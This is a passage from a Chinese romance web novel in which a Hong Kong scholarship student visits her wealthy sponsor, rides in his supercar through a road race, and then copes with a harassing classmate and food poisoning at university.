她说完后整个人绷着连带着心也高高悬起,有一种将自己的生活暴露在他人面前的羞耻感。 过期食品只是最佳赏味期过了,有钱人比较讲究,她没关系,只要不是发霉和变质就能吃。 宗勖白明白她的意思,“煮开了就不是过期食品?” “我比较抗造,没事的。” 和橙继而拿起菊花糕看保质期,确定没过期才小小松了口气,介绍菊花糕的特点。 菲佣也在这时拿了水果刀过来,和橙从她手里接过刀道了谢谢,蹲在茶几旁划开柚子皮。 本就混杂淡淡果香味的空间爆开酸甜柚子清香。 半个身子陷进椅背的宗勖白看她忙活,视线明目张胆地从她的下巴到脖颈。 颈项圈了根微微泛白的细红绳,不知戴的什么坠物,没入圆领T恤里面。 左手腕也戴着一条新鲜圆润的编织红绳。 开柚子皮的动作很熟练,划出六条刀痕再一一撕开。 即使不去看宗勖白,和橙的余光也能感受到有道视线落在她身上。 想到她的一举一动都被他看在眼里,她彷佛被挂在墙上接受审视的油画、在动物园里被观赏的动物,徒然而生尴尬和不自在。 她尽快剥掉柚子皮,用力掰开整颗红心柚子,掰下一瓣放到宗勖白面前。 “把透明那层剥了就能吃。” 抬头,猝然撞入一双黑眸。 认真且毫无情绪地注视着她,眼神并不猥琐也没色欲感。可能只是出于礼貌地盯着。 怪就怪在,他气势霸道,压迫感自然而然渗出来。 她感觉自己正站在悬崖边,即将被纯粹的黑暗温柔吞噬。 宗勖白浑然不觉地伸出左手扶了下镜框,他推镜框的动作很轻,用拇指和中指触碰眼镜两侧边缘,食指微微绷直。 简单的动作被他演绎得随意禁欲。 和橙没近视,高中同学很多近视,印象中他们扶眼镜都直接蹭侧边。 叶言之也近视,他除了上课读书其他时候不爱戴,推眼镜的方式跟班里同学一样。 她第一次知道扶镜框的动作也能如此雅致有观赏性。 如果这一幕是电影的慢放镜头,一定是载入影史的名场面。 “多谢。”宗勖白上半身终于动了,朝着茶几俯身拿起柚子。 空气在这一刻重新流动,和橙肩膀塌下,再次感受到他的丁点亲和,紧张感逐渐消弭。 他手肘支在膝盖,将薄膜撕掉往嘴里送:“自家种的?你摘的?” 慢条斯理地吃法,仿佛吃珍馐。 “嗯,今年水分很足吃起来很润。” 和橙观察他吃进嘴里,没有嫌弃的意思,一颗紧绷的心脏慢慢松懈下来。 宗勖白把那一瓣柚子都吃完,扫了圈案面上没动的水果和点心,绅士地问:“你怎么不吃?” 空气里漂浮着烤黄油、朗姆酒、奶油的香气,案面摆满五颜六色的漂亮水果和精致小点心。 和橙吞了下喉咙,看样子很贵,她不好意思吃,已经受了资助人很多好处。 何况她今天是来送特产的,资助人收到了她的特产她就该回去了。 “我不爱吃东西。” 宗勖白从鼻腔溢出一丝笑,惹得和橙满脸通红,好像说谎被拆穿了,那声笑彷佛在取笑她:哪里有人不爱吃东西的? 他开玩笑:“难怪你生得这样靓,原来是吃空气长大。” 和橙知道靓是好看的意思。学校的保洁阿姨都是以靓女称呼她们。 别人这样说,她会觉得是轻浮,是调戏,但资助人这样夸,她没有半点不适感,他的幽默诙谐尽管不好笑,还是能让人感到轻松。 会觉得那么一个大人物愿意逗你,还挺意外。 她有些怪窘的。 宗勖白敛睫,朝桌面微抬下巴,“都是为你准备的,试试看。” 都是为她准备的? 意思是他知道她要来,特意让人准备这些吗? 和橙受宠若惊地瞪圆了眼睛,眼眶有点湿润。 资助人真是天使。 她感动地哦了声,既然是为她准备的,每样尝一下也是对主人的一种尊重。 便用银色刀叉挖蓝莓朗姆酒巧克力巴斯克、莫吉托、栗子蒙布朗,最后在装着圆形蜜瓜冰淇淋的纯金珐琅彩碗里挖了一勺进嘴里…… 她吃得秀气,每一种蛋糕只挖一小勺,樱桃粉唇缓慢品,像吃盛馔。榛果玛德琳分了五口才吃完。 低睫敛目,安静乖巧,外界似乎在她的世界之外。 吃完后抬头,一双眼睛宛如水洗过般干净澄澈乌亮,点头说好吃。 宗勖白喉结滚了滚,喉咙有点密密麻麻的痒感,伸手想解开纽扣却扑了个空,指腹滑过领口肌肤。 纽扣本来就是敞开的。 他转移视线,低睫随意缓慢地滑动手机屏幕。 和橙目光落在用赤陶玻璃装的潘趣酒,表层铺满冰块西柚,以为是饮品,就着杯中的吸管尝了一口,酸酸甜甜很清爽果味浓郁。 她想到正事,不再吃喝,从书包里掏出一张银行卡。 之前资助人每个月都会定时给卡里汇2000生活费,每年九月开学还有一笔学费。 生活费她每个月用不了两千,这几年陆陆续续存了许多。 她把银行卡放到案面,蹭到宗勖白面前。 “卡里还有十多万,是您这几年给我转的生活费,我没用完存下来的,现在还给您,非常感谢您这几年的资助。” 宗勖白垂着的眼皮盯着银行卡顿了一下,据他所知,往这张卡里汇的款并不多,是结合实际情况决定的,也是他做的一系列‘好人好事’里面花钱最少的。 九年前家里祸事不断,大师说需要宗家长孙多做善事方可化劫。 于是成立一心慈善基金,捐助建立希望小学,在非洲成立野生动物保护基地…… 宗勖白不信佛不信神,对封建迷信嗤之以鼻,但按照大师说的化解方式后居然真的顺风顺水,那些善事便日复一日继续请专人打理,每次批款或者大事经他手批公文就行。 其中,大师指定在粤北方向资助一个儿童,八字必须是庚金生于末月,土厚金埋,命局里藏着一股暗禄,有白金水清的潜质。 派人往那个方向找,居然真的找到大师口中八字极贵,文昌照命,不仅旺自己,还很旺宗家的女孩,假以时日必能反哺之水。 这些年,总助周启云负责直线资助。 要不是周启云,估计她也像助学机构的其他女学生一样被宗德明的魔爪摧残。 非洲野生动物保护基地、希望小学、慈善机构每年花费几百万几千万。 唯独粤北山区的贫困学生每年只要三万左右,每月下来更少。 宗勖白对少得可怜的数字根本没印象,文件往他桌上放,只负责签字。 直到昨天,因为要让和橙过来,周启云才大概同宗勖白提了下,每个月给名叫和橙的贫困生转两千,开学季会更多一些。 他当时说什么来着——兩千蚊?打發乞衣呢(两千块?打发乞丐呢) 宗勖白乌眸微凝,普通家庭面对金钱诱惑都容易晕头转向,何况贫穷家庭。 每个月汇2000,7年17万左右,她不仅剩下10多万,来到香港后还还给他。 “怎么还剩十多万?平时不用?” “用的,用不了那么多。”和橙想到什么,又从书包里翻出一本笔记本,一起放在卡旁边:“每一笔花销我都有记录,您可以看看。” 厚厚的笔记本边角卷卷的,翻阅痕迹很重,看上去用了很多年。 宗勖白拿起笔记本打开扉页,清丽隽秀的字迹写着【橙橙的‘钱去了哪儿’日记】四周用圆珠笔画了金钱、铜钱和流泪等图案。 和橙听见一声似有似无地哼笑,不是嘲讽的那种笑。 仰颈看见笔记本扉页,知道他在笑什么,是那些乱七八糟的涂鸦,她面皮突然热起来,又不好意思去他手里夺回来。 “几岁时写的?” 他似在找话题。 “12岁。”和橙加了句原因:“那个年纪都喜欢涂涂画画。” 宗勖白轻颔首嗯了声,继续后翻,泛黄的页面和陈旧的字迹映入眼帘。 他眯了眯眼。 2012年9月1日。 【今天早餐:馒头0.5毛。】 【今天午餐:包菜和土豆炖肉3元。】 【圆珠笔:2块5毛。】 【今天晚餐:包菜和白萝卜炖肉3元。 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“你的体重让吃什么都无所谓这句话毫无说服力。” 他言简意赅地点评。 宗勖白将本子放回案面,两指微压在本子上连带银行卡一起推到她面前。 不大在意地说:“收着,算我祝贺你考上港大的礼物。” “十万在我这里做不了什么,但能帮你读完大学。” 这礼物太贵重了。 和橙从未想过这十多万是她的。哪里有人出手如此阔绰,直接送十多万。 他资助她读书的恩情已经很贵重,不能再无度索取。 港大的奖学金和资助体系很好,她有入学奖学金和全额助学金,够她学费、住宿费及基本生活开支。每年成绩前三也能有奖学金,她只要维持成绩,就会有钱读书。 和橙怕宗先生会硬塞给她,连忙拎着书包站起来。 一边说:“今天很高兴见到宗先生,宗先生比我想象中的要年轻有为。很感谢您这些年的资助,要不是您,我现在不知道在哪个角落打工,根本不可能考上港大……” 她念出早就在心底背好的演讲稿,对上宗勖白那双通透认真的眼睛忽然卡词。 他的专注令她红温。 她在他面前就像透明人。 宗勖白抬脸仰望她。 微微侧颈,似乎在问讲完了? 她没再继续说官方词汇,不太自在地摸了摸脖子:“总之今天很开心,那我不打扰您了,谢谢您的招待,有机会再见。” 和橙像只雀儿般飞快蹦跶出了别墅,手里没了柚子一身轻松。宗先生还吃了她亲手剥的柚子,哪怕是晒着烈日,她笑容依旧灿烂。 刚才进别墅时很紧张,都没来得及观赏,别墅不远处就是海,庭院不仅拥有明亮开放的草坪,还巧妙地用土地高低差构成一幅立体自然画卷。 罗汉松打理修剪得很漂亮。 三角梅和蓝雪花沿墙开成瀑布,粉蓝交错,极其震撼。 她想着下午没事,便拿出手机拍照。 她身后的落地窗明亮几净,窗边身姿颀长的男人垂眸,慢条斯理地擦亮火轮,呲地一声,点燃星火,唇间一抹火色暗下后薄薄白雾取而代之。 外头院子里。 三分钟前还在这里的少女停留在花花草草旁边,蝴蝶般轻盈欢快地转。 把院子当成公园,各种盛开的鲜花都找角度拍了个遍,看上去惊艳又欢喜。 瞧她不怕晒,没有半点娇气,他眼底柔情又孟浪。 和橙拍完院子走出大门,又回头拍整栋别墅。 下次过来说不定就是明年,她拍下留个纪念,分享给叶言之看。 她是从小门出来,此刻站在小门前方。 忽而,庄严气派的雕花大门动了下。 一席正装的两个管家一左一右,缓缓将门打开。 她看见一辆像宇宙飞船的绸缎梦幻蓝超跑。 明艳帅气的敞篷车里坐着一个松弛慵懒的宗勖白。 他偏头睇来,细丝眼镜微微反光。 须臾,蝴蝶门自动打开,他视线凝着她,薄唇轻启:“上车。” 和橙愣了下,左右看看,确定这里只有她一人。 对上他的黑眸又一次受宠若惊,她没想到宗先生会把车门打开,喊她上车。 她其实不太想一起,跟不太熟的人一起怪局促的,和宗先生相处需要小心翼翼,他身上的存在感太强,镜片下那双狭长的眼睛能轻易洞察一切。 但不好意思拒绝一个善良绅士的男人。 和橙上车前微微朝他躬身:“谢谢。” 上车后,局促坐着的和橙四处找安全带。 她没坐过轿车,更别提一个亿的布加迪,她连坐公交车是考上市里最好的初中去学校报道才第一次坐。 那也是她第一次离开家乡,去到离家六十公里以外的地方求学,公交车摇摇晃晃走走停停挤满了人,她下车就吐到脸色发白。 考上大学后要来香港,她十九年的人生里第一次坐大巴,高铁,地铁。 她知道坐车要系安全带,她小幅度地左看右看,不知道安全带在哪里。 “找什么?” 耳畔忽然响起宗勖白的低声询问。 她扭头看去,“不用系安全带吗?” 那双被透明镜片遮挡住深邃感的眼尾忽而携上一丝笑,看得人骨头发酥。 和橙不知他在笑什么,本就含春的桃花眼更加吸人。 空气里徒然多了亲切和轻松。 他俯身凑来,冷萃的香伴随着他的靠近淡淡铺开,独属他的气息自上而下入侵她的肌肤和感官。 靠近了才闻到,他的气息清冽得像冰镇过的紫苏,略带药感辛辣。 几乎缩着的和橙反射性并拢双腿,屏息的瞬间他从她身后抽出一根安全带。 他握住安全带的手沿着她锁骨下隆起的小幅度往腹部,手背与她的曲线之间只差一根手指。 途经她的发尾,碎碎的分叉细发偶尔扫在他手背,他浑然不觉又似毫不在意。 再啪嗒一声合上。 她被安全带禁锢住,又像被圈在一个怀抱。 和橙知道宗先生是好心,整个人依旧控制不住僵硬:“谢谢。宗先生不用特意过来帮我系,我学习能力很强,看一遍就懂的。” 宗勖白并未立马错开距离,饶有兴致地瞧她突然薄粉的脸,未经修饰的肌肤能看见细腻的毛绒,整个人被定住了般只知道眨睫毛。 他弯唇:“我喜少说多做。” 不紧不慢地错开距离,指腹轻点方向盘,散漫地问:“喜欢院里的景?” 和橙的神经才刚因他的撤退缓解,这会又面皮发烫地窘了。 意识到自己刚刚在院子里东拍西拍被他发现。 她怕自己拍别墅是侵犯他的隐私,一双眸清澈坦诚。 礼貌问:“我可以拍吗?” 他懒洋洋地嗯了声:“当然。你喜欢日后常来。” 资助人的友好和绅士让和橙的心轻松惬意,又继续说:“花草和别墅都很好看,我分享给我男朋友,他也夸很美。” 日光燥热,鸟鸣声悠远清脆。宗勖白眯了眯眼,目光幽深隐晦地咬着她干净的侧脸。 薄唇轻启,“男朋友?” 蹦出的三个字,尾音微微上扬。 4.兜风 宗勖白略疑惑的凉嗓让怪异在车内滋生漫延。 几乎是那几秒,反光镜片下的桃花眼里的和煦笑意慢慢染上凉薄的情绪。 和橙莫名愣了下,这一幕好像被长辈或者老师抓到不认真读书,早恋,要被批评和自我检讨。 宗先生资助她读书,也算是对她在学业上有期待的半个长辈。 察觉到宗勖白细微的情绪变化,她心脏蓦地一紧。 还没来得及说话,又听见他耐人寻味的口吻:“你口中的男朋友,是可以接吻、拥抱、约会的男朋友?” 这个直白问题让和橙尴尬到无容身之处。 她小地方出来,对于爱情的表达是比较含蓄的。 接吻、拥抱、约会从他口中说出来跟今天上午吃了什么般自在。 说的人不甚在意,听的人却皮肤瞬间红温,害臊极了。 和橙淡定下来,解释道:“我跟男朋友是今年暑假才在一起的,不是高中早恋。” 言外之意就是没有耽误学习。 “他也是港大学生?” “不是,他比我大一届,在隔壁花城读医。” 宗勖白直勾勾地瞧她,似在思忖什么。上下唇薄薄合着,也不说话,眼底像深冬森雪,寂凉地压在她的脸。 凉意从脚底快速匀到脑袋。 和橙承受不住他怪异的打量。 他面无表情时镜片后面的眼睛像终年不见天光的树荫,令她浑身乍起寒毛。 金丝眼镜,在他身上有两种极端。 极其斯文绅士和极其冷漠淡然。 不知道哪个才是他真实底色。 他倏尔笑了,轻轻浅浅不抵眼底,得出总结,“异地恋啊。” 揶揄道:“你怎么如此紧张,难道我还能拆散你们?” 听出是玩笑,和橙却笑不出来。 同宗先生接触的这一个小时,心脏钓上钓下,起起落落。 她归结原因,首先他身份不一般,哪怕外表绅士优雅,与生俱来的上位者气场和霸道气势也令人难以忽略,一点情绪转变都能摧枯拉朽地影响周围人。 其次他是资助人,她对他天然有感恩和恭敬心理,生怕做错什么也容易陷入小心翼翼的境地。 她希望和气、平等相处,但两人的身份地位注定是不可能的。 他的情绪能轻而易举影响到她。 他既能面色和愉跟你交谈让你吃水果,关心你生活,也能冷眼旁观让你乍起寒毛。 她忽然有点怕同他相处。 太拘谨。 不熟。 摸不透。 和橙讪讪地笑,一时不知该如何接话。 宗勖白挑眉凝着她的脸,百无禁忌般松弛地追问:“你们的感情好拆么?” 和橙愣住,神情呆呆。 不知他这话的意思。 每一个字她都懂,但从他口中说出来她脑袋有点反应不过来。 她心脏高高悬起,蹙眉疑惑地呢喃:“我已经不是高中生。” 怎么还玩拆散把戏。 宗勖白目光幽深黏在她天真朴素的脸,鼻尖扑出一丝笑,“不是高中生就不能拆了?” “我又不是高中老师。” 和橙背脊一僵,紧紧地攥住真皮座椅。 这话从资助人口中说出来好奇怪。 他的意思是,大学生也能拆。 为什么突然扯到拆散这个敏感私人的话题。 她不知道怎么接。 思绪都不灵光了。 两人对视,他的瞳孔在明亮日光下却极幽凉深邃。 像怎么也煮不沸腾的开水。 泼在她身上,凉凉的。 “和橙,我不是你老师,你也不是高中生,怎么还防我怕我?”宗勖白将她的紧张不安看在眼里,虚浮地笑了声。 19岁,正是拍拖的年纪。 他也没觉得奇怪,只是她这个‘大惊喜’给的太突然,在别墅聊天各种套话,她也没把男朋友供出,上了车,冷不丁爆出男朋友。 好听的声音毫无防备钻入耳朵。 怪令人心梗的。 和橙欲言又止,她刚刚确实怕他,一时无法撒谎说没怕。 便木讷地捏着安全带,身体僵着不动。 手机嗡地震动,分散和橙的注意力。 刚才微信上给叶言之分享别墅的照片后那边回复了。 叶言之:【香港的别墅长这样?跟农村自建房好像没什么差别[笑]。香港有钱人的品味也不过如此嘛。】 男友的评价让和橙有一种说资助人坏话的心虚感,她也不赞同这话,别墅比县城的自建房漂亮,室内的陈设也极其高级名贵,别出心裁,地板都能倒映出她的脸。 叶言之的消息继续弹出:【你喜欢的话等以后我们结婚了也在老家建一栋这样的别墅。】 即使隔着屏幕,这段话也让和橙面红耳赤。资助人的别墅仿佛成了她和男朋友调情的工具。 资助人就在旁边,她抽不出空反驳叶言之,而且还没回复他的问题。 抬头,果不其然对上他平静等候的目光。 日光将她的面颊晒得酡粉生嫩,像春日桃桃。即使整个人在烈日底下她依旧背脊凉飕飕。 宗勖白绅士一笑,似乎不介意她被手机消息吸引,把他晾在一旁的事情。 嗓音温和地转移话题,“车子声浪有点响,想叫你有点心里准备。” 原来是这样,才一直盯着她。 还以为他看见了叶言之发来的消息。 和橙肩膀塌下,讪笑,应我准备好了,心想,能有多响。 宗勖白唇角弯起弧度,收回视线,启动引擎。 然而,轰隆咆哮的声浪震得她胸口一紧,难怪宗勖白要提醒,她耳朵差点聋。 想不到资助人看着斯文儒雅,居然喜欢开如此高调炫酷不羁的车。 车子上路,拐出别墅。 车速不快,陀飞轮仪表盘在阳光下闪得她拧眉。 下山是盘山公路,和橙被偶尔一个拐弯和低吼声浪吓得紧贴座椅,早知道就走路去搭15号大巴。 她还想活命啊。 慌乱害怕之中不断安慰自己别怕,要相信资助人的车技。 他身价百亿,肯定比自己更惜命,这条路他经常走,肯定很熟悉。 宗勖白余光瞥到她的紧张,放慢车速。 和橙也敏感地发现车速变慢,内心放松许多,朝驾驶座看去,他侧面线条流畅有致,即便山风吹来,浑身也依然透着纹丝不乱的斯文。 阳光铺在他周身极致的白,像一部狂野禁欲的黑白电影。 突然,一辆保时捷出现在左超车道,似有似无贴上来,嚣张地摩擦布加迪的后视镜。 和橙就坐在左边,自然第一时间发现,仔细看车牌,LOVE YOU,竟是那辆被拦截在别墅外的车。 它连续两次剐蹭后视镜,每次和橙都以为自己即将被撞碎,吓得身子往右挤,青丝飘逸,丝丝缕缕滑过宗勖白的俊脸。她没注意这些,目光被两台碰撞的后视镜一闪而过的星火吸引,并吓得肾上腺素激升。 哪怕从未经历这种场面,也能从保时捷几次三番的碰瓷知道车主故意挑衅。 不知宗勖白得罪了谁,侧头看他,他依旧淡定自若,对于保时捷的挑衅不慌不急不怕也不躲。 香港秋季下午阳光毒辣,柏油环山公路冒热气,两次撞击点燃宗勖白的怒火。 他眯了眯眼,怕接下来吓到她,“闭眼三分钟。” 想分散她的注意力,“奈莉萨克斯《蝴蝶的重量》,念给我听。” 和橙在布加迪嘶吼的声浪中听清宗勖白的声,有些意外他知道高桌晚宴她念的英文诗歌出自哪。 这种时候,他还要听她念英文诗歌?怕给他添乱,慌张又听话地闭眼,真就念起英文诗歌。 听着她微颤却有力的嗓,宗勖白将油门踩到底,保时捷也跟着加速。 一蓝一黑在无人山道肆意较量,追逐周旋,摩擦对抗,极限狂飙,一路火花带闪电,轮胎在柏油路面发出轻微摩擦声,苦楝落叶漫天飞。 布加迪是限量超跑,有竟飙优势,何况他车技精湛。 前方转弯,保时捷穷追不舍,布加迪眼看要撞上护栏,却在最后一秒急刹甩尾,涡轮抓地,漂移半圈,两台车头碰撞,保时捷原地转了半圈,被逼停。 随后,布加迪低吼叫嚣,扬长而去。 和橙恰好念到英文诗歌的最后一个单词。推背感不再强烈,风也变得温柔,耳畔没有你追我赶的咆哮。 似乎没那么燥。 她心惊胆战地睁开眼皮,脑袋晕沉沉,牙齿在打颤。 虽然没亲眼看见也能感受到飙车的狂野刺激危险。 意识到宗勖白把那辆车甩在了后面,侧眸看向驾驶座的男人。 哪怕刚刚经历了生死时速,他依然面不改色,和橙从他神情里,看到惬意和松弛,似乎对刚才的竞速很享受。 他抽空睇了目光给她。 温笑:“刚才念的诗歌,有两个单词比昨晚更精准。” 和橙再次瞪圆眼睛。 他一边飙车,居然还听清楚了她的英文。昨天晚上在台上,她太紧张,有两个单词翻译出错,她回宿舍后翻来覆去懊悔没发挥好。 刚才念的时候,把出错的单词换了。 她紧张的心态,随着他这句话瞬间放松。 本来想问问他,知不知道LOVE YOU的车主是谁,转而又想到这辆车被拒绝在别墅外,说明他并不想给车主脸色,不想和车主有联系。 估计是不想看见的人。 和橙也就不提。 她笑了笑,“我昨晚回去懊恼了好久,觉得没发挥好,没想到今天在您的车上,您又给了我一次发挥的机会。” 宗勖白含笑的眼瞥她,唇角的笑斯文雅致,“没被吓到?” 和橙如实说:“有一点点。我刚才想象着自己是在坐过山车,这么说来,也算免费体验了一把过山车。” 她又开心地笑,“还挺不错。” “那再来一次?” 和橙眼瞳震惊,继而想到他刚才似乎很享受飙车的快感。 猜想他应该经常飙车,虽然她有点怕,但不想让资助人的邀请落空。 “可以吗?” “当然。”宗勖白脚踩油门加速,车子发出嘶吼声,“这次可以喊出来。” 和橙双手乖乖地捏住安全带,山风肆意从脸颊掠过,惹得她长睫轻颤,耳畔是发动机嘶吼,推背感猛烈清晰,山影变残。 无人盘山路多了一辆兜风的跑车。 比起刚才,是完全不一样的感受,这次的车子是自由的,车速是可以接受的程度。 一个弯道,跑车叫嚣着丝滑漂移,和橙被这种身体和视觉的双重刺激吓得尖叫了声。 过了弯道,油门又踩下去,她叫声连连,滚烫的风随之灌入喉咙, “不行了不行了!极限了……宗先生,不要坐过山车了。” 宗勖白将车速慢下:“很厉害,坚持了55秒。” 居然才55秒吗?和橙以为刚刚度过了三分钟呢,心跳窜到嗓子眼,呼吸起伏不定,她揉了揉凌乱的发。 心有余悸地看向正驾,真情实意地夸:“那宗先生更厉害。” 港大依山而建,道路狭窄、陡峭、多弯,校园内停车位极少且昂贵,优先保障教学一般都是教职员或者授权者才能开车进校。 宗勖白的车有授权,畅通无阻开进学校。 驶过爱德华式的红墙白柱本部大楼、百年古树,和橙急忙让宗勖白停车,这车子太张扬,被人看了一路。 和橙解开安全带扭头说:“谢谢宗先生,再见。” 宗勖白颔首。 她下车,腿还有点软,差点摔一脚,努力站定,太古堂的方向走。 宗勖白看着她的背影和走得不太适应的步伐,唇角勾起笑。 她看着柔弱,胆子却不小,一次飙车,一次兜风,都没把她吓吐。 和橙差不多抵达宿舍时竟看见一个熟悉的男人,梁家皓,他吊儿郎当地叼着烟,旁边的男人用打火机给他点了火。 和橙停步皱眉,心里感慨他的无所事事和坚持不懈。 港大持学生签证的非本地学生严禁在校外从事任何兼职工作,只能通过校园招聘Career-related Part-time Jobs或者 CEDARS找兼职。 和橙前段时间找到了一个图书馆助理工作,一周兼职时间满20小时。 平时负责图书上架与整理,图书馆安静有学习氛围,在非忙碌时段还可以边值班边复习自己的功课。 和橙很喜欢这份兼职。 喜欢也没用,兼职从昨天暂停。 全因梁家皓。 梁家皓是大四的学长,香港本地人,自从在图书馆偶遇和橙后便动了歪心思。 和橙反复强调自己有一个异地恋男朋友,他不仅丝毫不介意还隐隐有些兴奋,甚至死缠烂打到学校宿舍楼下。 同一层楼的学生几乎都知道他的存在。 哪怕和橙一直明确拒绝他也跟听不懂人话似的,野蛮无理得像头牛。 终于在四天前,和橙把梁家皓给打了。 她又不是故意打的。 梁家皓不顾她意愿跟着她从图书馆回宿舍,路上对她动手动脚,她察觉到危险反射性抬手就给了他一拳头,他当场眼冒金星。 捂着脸不可置信:“我丢你老母,食屎啦你哩个大陸人。” 第二天,梁家皓贼心不死色胆包天找到和橙说兼什么职,只要做他女朋友,享不完的荣华富贵。 侮辱犹如巨石重重地砸在和橙头顶,她气愤得发抖,俗话说人穷志不穷,她从来没想过要靠出卖色相赚钱。 再次拒绝后,他便去图书馆闹事,事情闹大了被管理员知道,语重心长跟她聊天希望她处理好这件事情再回去。 她惹不起还躲不起吗? 往稍隐蔽的绿意后面躲着,探头看去,梁家皓吐出烟圈,弹了弹身上的烟灰,跟旁边的男人说了什么,拔腿离开。 等到梁家皓的身影彻底消失,和橙才敢继续往前走。 搭乘电梯到六楼,途径宿舍公共区域,欢声笑语中听见熟悉的嗓音喊她。 角落的小圆桌和沙发坐着几个女生,隔壁宿舍的何书霞朝她 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“怎么可能看不上你!你这脸蛋去选秀都能原地C位出道。” 垂在身侧的手捏紧衣料,关节泛白,她们的话犹如银针,刺着和橙的皮肤和神经,她第一次感受到只手遮天四个字。 她只不过是拒绝一份追求,就要被打压。 她就像蝼蚁,因为他的喜欢和一句话苟且偷生。 这种烦闷感延续到吃了晚餐一个小时后,她恶心想吐,站起来发现天旋地转,腹部绞痛。 她虚弱地趴在桌面想起煮面时放了过期的盐焗鸡翅。 不是吧。 老天。 还好卢琪因为这几天生病饮食清淡,今晚身体好点后没有吃她煮的东西,不然得跟她一起遭罪受苦。 卢琪根据自身经验判断她也是急性肠胃炎,把这两天没吃完的药给她:“吃完明天就好了。” 这药是她去学校医疗保健处拿的,因为没有提前预约又是免费,排队3小时才拿到。 和橙道了谢谢,把药就着温水吞下喉咙,搁在桌面的手机铃声响了,瞥了眼来电显示,是今天在山顶别墅遇见的电视台记者。 “和橙小姐,请问明天有空吗?电视台想明天采访你,不会耽误你很长时间,大概两个小时就可以。” 和橙抿了抿冰凉的唇,联想到卢琪急性肠胃炎差不多两天就好了,自己喝了同款药,明天身体应该不会有什么大碍便答应了。 没过多久,杂志社的记者也给她打电话,差不多的话术。 和橙把他约在下午。 和橙是个报喜不报忧的人,不想让叶言之知道她生病了,借口在图书馆,拒绝他的视频通话。 叶言之在微信埋怨:【看来男朋友的美貌色诱不如书中自有黄金屋啊~】 和橙笑出声,吃坏肚子的坏心情一扫而空。 【知识记住了那就是我的,你的美貌对我而言只有观赏性。】 【谁说只有观赏性?】 【那不然?】 【你还可以亲可以摸啊。】 这段恋爱关系里,和橙没他敢于表达,见他这样调侃又忍不住弯了弯唇。 【你当我是变态啊,隔着屏幕垂涎你的美貌。】 【这不是变态,是生理性喜欢。男女朋友这样很正常。】 再这样聊下去,话题会越来越歪,她现在不舒服也没时间精力陪他聊,很快便以复习为由中断聊天。 深夜的气温依旧燥热无比,和橙一整晚没睡好,吐了5个小时,由于宿舍没有卫生间,她又怕每次开门关门会吵醒卢琪,便在外面公共区域的长沙发坐着休息,想吐的时候也能立马去厕所。 荒凉夜色逐渐散去,日光缓慢从玻璃窗透进屋内,飞速在墙壁完成黑白交替。 和橙浅浅睡着,毯子掖在下巴,面色几分憔悴,干净眼皮上亮白的霞晖泛着温,陆陆续续有人起床洗漱,动静不小,她被惊醒,掀开眼皮时已经吐到没了力气。 不过,吐干净后身体好受多了,头没那么懵,她无力地将毯子掀开,触到柔软的面料,眼皮往下。 是宗先生在浅水湾让炳叔送给她的那条毯子,昨夜拿来盖肚子,不知不觉裹住了全身。 早上的课是八点半,中午11点到2点约了电台记者,今天会很忙碌。 她全身是汗,黏糊糊不舒服,便拿了换洗衣物去洗澡。 温水并没有把她一身疲惫和疼痛扫去,回到宿舍,卢琪也醒了,坐在床头头发乱糟糟两眼迷茫,“橙子,你身体好些了吗?” 和橙用干毛巾擦湿发,往床沿坐下:“还是有些不舒服。” “那要不要请假在宿舍休息一天啊。”她病刚好,知道有多难受,分分秒秒只想躺着。 “没那么严重。”和橙安慰地笑笑。 - 中环摩天高楼鳞次栉比,其中一栋挂着开宗集团中心楼标的大厦楼下,车牌【港·ZHB5】的黑色轿车驶入地库。 没过多久,董事长专用电梯在顶楼停下,宗勖白从电梯出来。 依旧是一身标志性的白,高挺鼻梁架着金丝眼镜。 员工们见他十年如一日地穿着这个色系,却从未觉得单调或看腻。反而时常惊叹:原来白色竟能穿出这样多花样。 光是白衬衫,便能从缎面的流光、埃及棉的骨感、海岛棉的软糯里幻化出不同版型、纹样、色调。每种面料穿在他身上自成质感。 只是面无表情时,那一尘不染的白,将他衬得像遥不可及的高山雪,洁净、凛冽,连日光落上去,都仿佛会被弹开。 “早晨。”总助周启云手握咖啡正好从员工梯出来,遇上宗勖白,跟上用粤语打招呼。 “早晨。”宗勖白径直往董事长办公室,“同和橙联络的手机是不是在你那?” “是的。”当年决定资助和橙时临时办的新卡,用于联络粤北山区那边的人,平时放办公室抽屉,十天半个月才想起来充电一次。 “你们联系多么?” “不多,和橙很有分寸。”想到什么,又问:“她昨天在别墅,言行不当吗?” 是不是冲撞到他了,不然为什么一大早不聊工作聊和橙。 宗勖白睨他,“手机给我。” 周启云先是不解地挑眉,随后又应了声好的,把自己的手机递给他,惹得他再次斜眼看来,轻哂,拖腔带调地喊:“Jason。” 这无奈的感觉令周启云一愣,将手机收回,意识到他要的是跟和橙有联络的手机。 “我现在去拿。” 宗勖白拿到那台跟和橙联络的手机,正如周启云所说,她是个有分寸的人,不经常发短信。 每个月汇款到账,都能收到她端正礼貌的谢谢语录。 去年开始,不再只是谢谢语录,八月份询问香港的大学和专业。 今年六月底分享她被港大录取的喜讯。 前几天询问地址,带了家乡特产,想给他尝尝,希望他不要嫌弃。 很有礼貌很有分寸。 宗勖白指尖在虚拟键盘轻触,发了条短信。 【今日去港大,有什么好食的午餐推荐?】 5.生病 天空清澈,气温逐渐攀高,教室里空调冷气漫延。 和橙浑身乏力地趴在桌面听教授用美腔讲微积分,身体打了个哆嗦,后悔没多带一件外套。 现在上的是MATH1851课程。 很多专业词汇,平时听教授全英授课要打起十二分精神,课前预习回去还得复习巩固,生病之后大脑浑浑噩噩,力气彷佛被抽空。 为了大二能顺利拿到奖学金,她不敢怠慢,凭意志力坚持。 难受得要命时,看到宗勖白的短信内容,推荐食堂?这有点难到她了,她才刚来学校一个多月,而且都是在公共厨房自己煮面做饭。 资助人怎么会来港大?难道就是为了吃午餐吗? 可惜她身体不舒服,不然还能请他吃。 斟酌片刻,没立马回复,等下了课,问旁边同学有什么推荐。 随后,根据同学的意见给宗勖白发消息。 【我也不太清楚,我刚刚帮您问了同学,有好几家都不错……】 和橙本就混沌的大脑回复完消息后彻底罢工,直接阖上眼皮休息。 直到电视台的何记者带了两名扛着镜头的摄影师11点准时出现在学校,宗勖白都没再回复。 何记者见了面色憔悴的和橙,问她是不是昨晚太紧张没睡好,还给她递了杯咖啡。 即使休息了一个多小时,和橙还是没精神气,腹部依旧绞痛,不好意思爽约便硬撑着。 她勉强弯了弯唇角,如实说是昨晚吃坏了肚子,喝了口咖啡,脸部表情丰富多彩,不想浪费只能勉强吞下去。 瞅了眼咖啡杯———居然有那么难喝的东西。 抬头,旁边的何记者单手抱胸,缓慢地抿,十分神清气爽。 